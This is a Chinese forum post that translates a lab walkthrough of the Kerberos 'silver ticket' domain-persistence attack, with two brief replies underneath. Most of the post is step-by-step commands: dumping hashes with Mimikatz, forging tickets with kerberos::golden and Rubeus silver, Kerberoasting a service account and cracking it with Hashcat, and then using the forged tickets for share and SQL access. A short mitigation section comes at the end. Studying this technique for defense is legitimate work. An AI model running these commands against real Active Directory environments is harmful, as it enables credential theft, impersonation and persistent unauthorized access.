飘云阁

 找回密码
 加入我们

QQ登录

只需一步,快速开始

查看: 2324|回复: 2

[经验分享] 域持久性: Silver凭证攻击

[复制链接]
  • TA的每日心情
    开心
    2019-3-15 11:00
  • 签到天数: 262 天

    [LV.8]以坛为家I

    发表于 2022-5-18 09:28:16 | 显示全部楼层 |阅读模式
    本帖最后由 梦幻的彼岸 于 2022-5-18 09:48 编辑

    原文标题:Domain Persistence: Silver Ticket Attack
    翻译作者:梦幻的彼岸

    简介
    Benjamin Delpy(mimikatz的创造者)在Blackhat 2014中介绍了他滥用Kerberos会话的Silver凭证攻击。Silver凭证是伪造的服务或特定服务的TGS凭证,可用于在与活动目录企业域连接的被攻击系统上保持持久性。在攻击中,攻击者可以制作一个有效的服务TGS,并使用相关的NTLM哈希值可以进一步制作其他服务的凭证。这篇文章包含与Silver凭证攻击相关的基本理论和演示。
    Silver凭证理论
    在我们开始之前,强烈建议你在这里阅读关于golden凭证的内容。
    Kerberos的基本流程可以通过阅读我们的文章来了解。一旦你阅读并理解了Kerberos的工作原理,我们就可以继续进行Silver凭证攻击了。
    在golden凭证攻击中,我们使用了krbtgt账户的哈希值,而在Silver凭证攻击中,我们将使用服务账户的密码哈希值。服务账户的密码哈希值可以通过各种方法提取,Kerberoasting就是其中之一。由于Silver凭证攻击不需要中间的TGT,Silver凭证可以在不与域控制器进行任何通信的情况下被伪造,因此比golden凭证攻击更隐蔽。
    Silver凭证攻击的工作方式如下所述:
    • 第一步: 利用服务账户的密码哈希值(NTLM哈希值)。用户可以使用Mimikatz、Kerberoasting等工具来执行此操作。
    • 第二步: 通过指定以下内容来获取新票证:
      • Service hash
      • Service name
      • Target FQDN
      • Domain SID
    • 第三步: 将新创建的Silver凭证注入到终端会话中,以利用和保持持久性
    让我们看看它的实际效果。
    通过Mimikatz 获取Silver凭证
    在你现在看到的演示中,你会注意到我们使用了机器账户 "dc1$"的NTLM哈希值。你们中的许多人可能会感到困惑,因为我们不得不使用一个服务账户的哈希值。请注意,一台计算机还承载着多种服务,其中之一就是通用互联网文件系统服务(CIFS--文件共享服务)。因此,CIFS服务的密码哈希值与机器账户相同。
    目标:制作一个silver凭证,在dc1.ignite.local机器上建立CIFS(共享)的持久性
    由于攻击都是与维持持久性有关,我们必须假设以下情况:
    • 攻击者已经入侵了一台低权限的受害者机器(这里,用户名:harshitrajpal)。
    • 攻击者以某种方式获得了目标机器(dc1.ignite.local)的密码/NTLM
    • 攻击者在低权限机器上制作了silver凭证,以获得dc1.ignite.local上的CIFS服务的访问权和维持持久性。

    让我们首先向您展示当前的用户、凭证,以及当我们访问dc1.ignite.local上的共享时会发生什么
    1.jpg
    上述机器是低权限的机器。

    接下来,我们需要dc1.ignite.local电脑账户的哈希值。可能有各种方法,但我们将快速跟踪并使用Mimikatz来获得它。让我们先激活Mimikatz,用sekurlsa::logonpasswords命令转储哈希值。注意,你可以按照任何方法来转储哈希值。

    1. privilege::debug
    2. sekurlsa::logonpasswords
    复制代码

    2.jpg
    这将转储机器内存中的所有哈希值,包括机器账户的哈希值。稍微滚动一下,我们发现我们的机器账户 "dc1$"的NTLM
    3.jpg
    接下来,为了伪造一个silver凭证,我们必须找到域名的SID,使用命令可以很容易找到。请注意,最后一个连字符之后的数字(在这里,1115被称为相对SID,我们不希望这样。该部分之前的所有内容都是与我们相关的域名SID)
    whoami /user
    4.jpg
    现在,为了伪造一个silver凭证,可以使用Mimikatz的 "golden "模块。我们只需插入我们的变量。
    在这里,我使用/ptt标志,直接在当前的shell中插入凭证。
    /id:它是任何随机的ID,在检查时可以在事件日志中看到。可以是随机的。
    /sid:关于域名。在这里阅读更多关于SID的信息。
    /domain:目标域的有效FQDN
    /service:生成凭证的服务
    /rc4:受害者机器的计算机账户的NTLM哈希值(之前发现的)。
    /user:冒充的用户名

    1. kerberos::golden /sid:S-1-5-21-2377760704-1974907900-3052042330 /domain:ignite.local /target:dc1.ignite.local /service:cifs /rc4:a5902b4b82ddf1ce42d073f06acecf07 /user:harshitrajpal /ptt /id:1339
    2. exit
    3. klist
    复制代码

    5.jpg
    正如你在上面看到的,现在一个凭证已经被保存在当前会话的内存中。现在你将能够访问目标机器的CIFS。
    1
    dir \\dc1.ignite.local\c$


    6.jpg
    然而,如果你不想立即在内存中插入凭证,而是希望保存一个ticket.kirbi文件,你只需去掉"/ptt "标志,其余部分保持原样。

    1
    2
    3
    4
    kerberos::golden /sid:S-1-5-21-2377760704-1974907900-3052042330 /domain:ignite.local /target:dc1.ignite.local /service:cifs /rc4:a5902b4b82ddf1ce42d073f06acecf07 /user:harshitrajpal /id:1339
    exit
    klist
    dir

    7.jpg
    现在,这个kirbi凭证可以与Rubeus ptt模块等工具一起使用,并插入到内存中,随时使用。

    1. rubeus.exe ptt /ticket:ticket.kirbi
    2. klist
    3. dir \\dc1.ignite.local\c$
    复制代码

    8.jpg
    当然,上面的整个过程也可以只用Rubeus来完成。
    通过Rubeus 获取Silver 凭证
    我们已经看到了CIFS作为一个例子,如果你跟随文章到目前为止,你也可以用Rubeus复制相同的东西,只需滚动一下鼠标就可以使用这些命令。然而,这次我想以不同的服务为目标,所以我设置了一个SQL服务器,并指定该服务由用户 "sqluser "运行(可以通过运行->services.msc->SQL->properties->logon完成)。
    这将使SQL服务通过我们新创建的服务帐户运行。
    现在,我们需要破坏这个账户的NTLM哈希值。我们将使用Kerberoasting攻击。请按照我们的指南来理解这个攻击,但简单地说,你在Rubeus中运行以下命令。
    /domain: 目标FQDN
    /creduser: 任何有效的被攻击的用户名
    /credpassword: 被攻击的用户的有效密码
    /nowrap: 为了使凭证blob(二进制对象)在Rubeus中以单行形式出现

    1. rubeus.exe kerberoast /domain:ignite.local /creduser:ignite.local\aarti /credpassword:Password@1 /nowrap
    复制代码


    9.jpg
    正如你所看到的,Rubeus已经自动确定了一个有效的Kerberoastable账户并转储了它的TGS。现在我们将使用Hashcat从这个TGS中离线提取密码
    1
    hashcat -m 13100 '$krb5tgs$23$*sqluser$ignite.local$MSSQLSvc/dc1.ignite.local:1433@ignite.local*$..<snipped>...4297093077601CC' /usr/share/wordlists/rockyou.txt --force
    10.jpg
    几秒钟后,我们收到了我们的明文密码,"Password@1"
    11.jpg
    现在,让我们用Rubeus将其转换成NTLM哈希值(rc4_hmac),因为我们的silver 凭证需要一个有效的NTLM

    1. rubeus.exe hash /password:Password@1
    复制代码

    12.jpg
    我们还需要知道SID。这可以用whoami /user命令来完成
    13.jpg
    最后,为了在Rubeus中为当前用户伪造一个凭证,我们使用以下命令:

    1. rubeus.exe silver /service:MSSQLSvc/dc1.ignite.local /rc4:64FBAE31CC352FC26AF97CBDEF151E03 /sid:S-1-5-21-2377760704-1974907900-3052042330 /user:harshitrajpal /domain:ignite.local /ptt
    复制代码

    14.jpg
    /ptt 选项完全导入当前会话中的凭证。如果没有/ptt,ticket.kirbi文件将被保存。但正如你所看到的,现在已经创建了一个有效的silver 凭证
    15.jpg

    我们现在可以尝试登录服务器,运行一个显示主机名的基本命令。

    1. sqlcmd -S 192.168.1.2,1433
    2. SELECT HOST_NAME() AS HostName
    3. go
    复制代码

    16.jpg
    然后就可以了! 正如你所看到的,我们的用户现在可以使用我们刚刚伪造的凭证连接到SQL服务。
    缓解措施
    由于该攻击是基于一个离线机制,并且没有DC参与,所以很难缓解该攻击。然而,仍然可以采取以下步骤来进行防护:
    • 启用PAC验证。如果启用,提交的凭证应首先由DC验证。因此,Silver 将被立即拒绝。
    • 使用强大的密码以防止暴力破解
    • 控制必要的权限或将某些可以使用特定服务的用户列入白名单。
    • 缓解Kerberoasting问题
    总结
    这篇文章谈到了Silver 凭证攻击,以及如何使用这种方法伪造一个特定服务的TGS。我们还使用两个工具实际演示了攻击者如何伪造和利用Silver 凭证。在现实生活中,获得一张golden 凭证是相当困难的,但Silver可以很容易地被伪造,因为人们对Kerberos保护的认识还不是很到位。希望你喜欢这篇文章。谢谢你的阅读。

    PYG19周年生日快乐!
  • TA的每日心情
    难过
    6 小时前
  • 签到天数: 511 天

    [LV.9]以坛为家II

    发表于 2022-5-18 11:12:24 | 显示全部楼层
    试试看能不能看懂一点,多谢分享
    PYG19周年生日快乐!
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    无聊
    2024-2-1 11:01
  • 签到天数: 53 天

    [LV.5]常住居民I

    发表于 2022-11-21 08:15:58 | 显示全部楼层
    Really awesome!
    PYG19周年生日快乐!
    回复 支持 反对

    使用道具 举报

    您需要登录后才可以回帖 登录 | 加入我们

    本版积分规则

    快速回复 返回顶部 返回列表